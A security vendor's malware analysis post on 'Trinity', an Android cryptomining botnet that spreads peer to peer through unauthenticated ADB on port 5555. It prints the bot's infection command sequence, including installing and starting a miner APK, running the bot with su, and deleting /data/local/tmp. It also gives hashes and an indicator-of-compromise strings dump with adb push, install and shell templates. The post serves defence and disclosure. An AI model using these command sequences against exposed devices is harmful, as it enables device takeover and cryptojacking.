Trinity—P2P Malware Over ADB
By Gabriel Cirlig |
ADB—Trinity in Words
The Android Debug Bridge (ADB) is a protocol designed to keep track of both emulated and real phones, TVs, or DVRs connected to a given host. It implements various commands designed to assist the developer (adb shell, adb push, and so on) in both debugging and pushing content to the device. This is usually done through an attached USB cable, with ample mechanisms of authentication and protection. Turns out though that by a simple adb command (adb tcpip <port>) sent to an already established connection (for example, through USB), you can force your device to expose its ADB services over port 5555, after which you can use a simple adb connect <ip>:<port> to connect to your device through TCP. However, unlike the USB protocol, the TCP one does not have any kind of authentication and leaves the device prone to all kinds of attacks. Two of them are as follows:
- adb shell <shell command>: Allows developers to run all kinds of commands on the connected device, such as**** ls, wget and many others.
- adb push <local file> <remote destination>: Allows developers to upload binaries from their own machines to the connected Android device.
Coupled together, these two API calls can allow complete control over the device (legitimate or not) as long as the port is exposed over the internet. As of now, there are about 40,000 devices ready to be harvested by any botnet maker (data readily available on Shodan):
From a glance, it looks like a quarter of them are OnePlus and Pixel phones with the rest distributed between DVRs and TVs. We can only assume a manufacturing process error (opening the port for a final round of automated QA and forgetting it open) or a human error (developers enabling the TCP/IP mechanism and again forgetting to turn it off) is the cause.
Infection Mechanism
The first step in the kill chain is a simple port scan. After the port 5555 is found exposed, the compromised devices issues a simple adb connect to the target through the method specified earlier. This facilitated by the built in adb binary compiled inside some Android builds (living off the land).
After a connection, the bot decides if the device is already infected by sending a couple of shell commands:
pm path com.ufo.miner
If it’s there, the binary is not pushed through adb push. If not, it gets piped to the device, installed, and then the original apk gets deleted. Following the install check, the bot checks if it also runs properly by a ps command:
ps | grep com.ufo.miner
Again, if it’s not running, it sends another shell command to put it back up:
am start -n com.ufo.miner/com.example.test.MainActivity
This procedure gets repeated for the main bot file (trinity), checking if the process is running and if not, pushing it to the device and starting it by using nohup. An interesting thing to notice is that the attackers also push a nohup binary to facilitate a minimum level of persistence. In the end, the whole procedure looks like this on a clean device:
pm path com.ufo.miner
Miner APK gets pushed to the device.
pm install /data/local/tmp/ufo.apk
rm -f /data/local/tmp/ufo.apk
The following command won’t be sent if the APK wasn’t found running on the device:
ps | grep com.ufo.miner
am start -n com.ufo.miner/com.example.test.MainActivity
Checks if the bot is running;
ps | grep trinity
Three files are being pushed as part of the package: nohup, trinity and what looks like an obfuscated script (xor thingy?) with another miner. Again, the following commands won’t be sent if the miner is fine and dandy:
rm -rf /data/local/tmp/
chmod 0755 /data/local/tmp/nohup
chmod 0755 /data/local/tmp/trinity
/data/local/tmp/nohup su -c /data/local/tmp/trinity
/data/local/tmp/nohup /data/local/tmp/trinity
A Threat From Outer Space
The APK is pretty straightforward. It only contains a simple app that automatically starts an activity after each boot and a webview that loads a simple HTML with a javascript inside.
Main activity that loads the JS miner
The miner doesn’t have any kind of persistence. It is first started when the initial deployment of the bot is done, and after each other boot through the BootBroadcastReceiver. Neither does it have any kind of limit to the mining intensity, so it will most probably use all of the available resources to mine.
Fortunately, a simple manual removal will be enough to get rid of it.
Manifest file and BroadcastReceiver used to automatically start the miner
Trinity—The Script, the Miner, and the Bot
Some really weird binaries are also pushed as well together with the bot and the APK:
Notice the 127 random characters at the beginning of the file followed by a \x00. The files seem to be unpacked at runtime into another miner and a bash script, but unfortunately, we could not make the malware run on our local instance. The SHAs for them are 26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc, and a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437 respectively. Together with these files comes bundled a nohup (d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0) precompiled for ARM, which is used to ensure that the bot stays up after the shell session ends. The final piece of the puzzle comes in the form of the actual bot, trinity (71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5), which seems to propagate itself (coupled together with the other binaries) towards more unsuspecting victims. Doing a quick strings on it yields us all of the commands being pushed through ADB and a bit more.
I could not find any hardcoded IPs inside (for the C&C), which leads me to think that it distributes through a peer2peer method. It’s also pretty to see that it has a format string for building an IP address. This led us to believe that after a node is infected, it keeps scanning the internet for other peers to infect (and that will in turn infect others). The fact that our honeypots are getting exponentially increasing hits from this same specific strain of malware seems to correlate with this as well, validating the P2P model.
The cure
How do you destroy a botnet? By building another botnet, of course. Even before we started getting regular hits into our honeypots, another botnet was roaming around removing the files associated with this one. This excellent article covers FBOT, which uses a blockchain based DNS to communicate with its C&C and eradicate all of the major bots roaming around on Android devices. While there was a bit of confusion over what trinity was, in the end it’s worth considering if fighting fire with fire is actually worth it, as a device is re-infected a few hours after the cleaner botnet removed it.
The best solution would be blocking your 5555 ports and ensuring that your IoT devices are not front faced towards the internet (or no port forwarding rules are being enabled on your router).
LEVERAGE SUBSCRIPTION SERVICE TO STAY AHEAD OF ATTACKS
The Keysight BreakingPoint Application and Threat Intelligence (ATI) Subscription provides continuous real-time data feeds to ensure current application and threat intelligence at all times.
Appendix A: How did we catch them?
The ADB system has three main components that we can speak of:
- The ADB server: This is a background process on the host machine that senses whenever you connect a new USB device or whenever an emulated device was started on the local machine. Its main task is to keep track of devices and multiplex the inbound and outbound packets.
- ADB daemon: Runs on the Android device and accepts connections from the ADB server (through USB for devices and TCP for emulators) and provide a few simple services for pushing commands to your Android machine.
- ADB command line client: Can be run from your local CLI and glues everything together. It first tries to find a server (or start one if none are found), and then based on the arguments passed start various services on your Android (that is, for pushing data blobs and installing APKs).
For simplicity’s sake, both the server and the command line client are packed into a single binary blob (adb/adb.exe).
By emulating the phone’s ADB daemon I/O, I devised a low interaction honeypot that caught various samples over a period of a few months. Unlike exposing virtual machines to the world, this method doesn’t require any kind of reversion and provided me with the important details right from the get go (ip of the attacker, shell messages, dropped payloads and such). Stay tuned on more info on that.
Appendix B - Indicators of compromise
encrypted files
26e72314a3c85dcd726ce1119d35279cb252d296cbe95504addd948ad32da9cc
a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437
nohup
d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0
trinity
71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5
ufo.apk
0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257
interesting strings
/data/local/tmp/ufo.apk
/sdcard/33
/sdcard/44
DEADBODYDEADBODY
/data/local/tmp
/data/local/tmp/rtsh.sh
/data/local/tmp/xig
com.google.time.timer
com.android.good.miner
kill %s
ps | grep %s
%s %s
echo "uid=%d" >> /data/local/tmp/scan.txt
/data/local/tmp/endat
/data/local/tmp/lock0.txt
droidbot
%d.%d.%d.%d
adb -s %s:5555 shell "am start -n %s"
adb -s %s:5555 shell "pm path %s"
adb -s %s:5555 shell "ps | grep %s"
adb -s %s:5555 get-state
device
adb connect %s
adb disconnect %s
adb disconnect
adb -s %s:5555 install %s
adb -s %s:5555 shell "chmod 0755 %s"
adb -s %s:5555 push %s %s
adb -s %s:5555 shell "%s %s"
/data/local/tmp/nohup
adb -s %s:5555 shell "%s su -c %s"
adb -s %s:5555 shell "rm -rf /data/local/tmp/*"
com.ufo.miner
com.ufo.miner/com.example.test.MainActivity
trinity
/data/local/tmp/trinity
pm install %s
pm uninstall %s
am start -n %s
/data/data/%s